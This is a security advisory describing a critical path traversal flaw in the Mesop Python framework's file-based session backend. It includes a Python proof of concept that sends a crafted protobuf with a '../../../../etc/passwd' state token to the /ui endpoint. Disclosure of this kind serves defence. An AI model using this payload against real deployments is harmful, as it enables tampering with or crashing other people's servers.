PT-2026-53493 · Pypi · Mesop
Publicado
2026-06-29
·
Atualizado
2026-06-29
CVSS v3.1
10
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted
state token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.Details
When the framework is configured to use the disk-based session backend (
FileStateSessionBackend), the user's state token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui stream endpoint, the event.state token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend. make file path(self, token), it evaluates standard path operators (e.g. ../../../).python
# mesop/server/state session.py
def make file path(self, token: str) -> Path:
return self.base dir / (self.prefix + token)Python's standard library natively resolves OS traversal semantics allowing full escape from the
base dir destination intent.PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the
/ui stream.python
import requests
import mesop.protos.ui pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user event.state token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user event.state token = "........WindowsSystem32driversetchosts"
serialized event = user event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)Impact
This vulnerability heavily exposes systems hosted utilizing
FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.Correção
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Mesop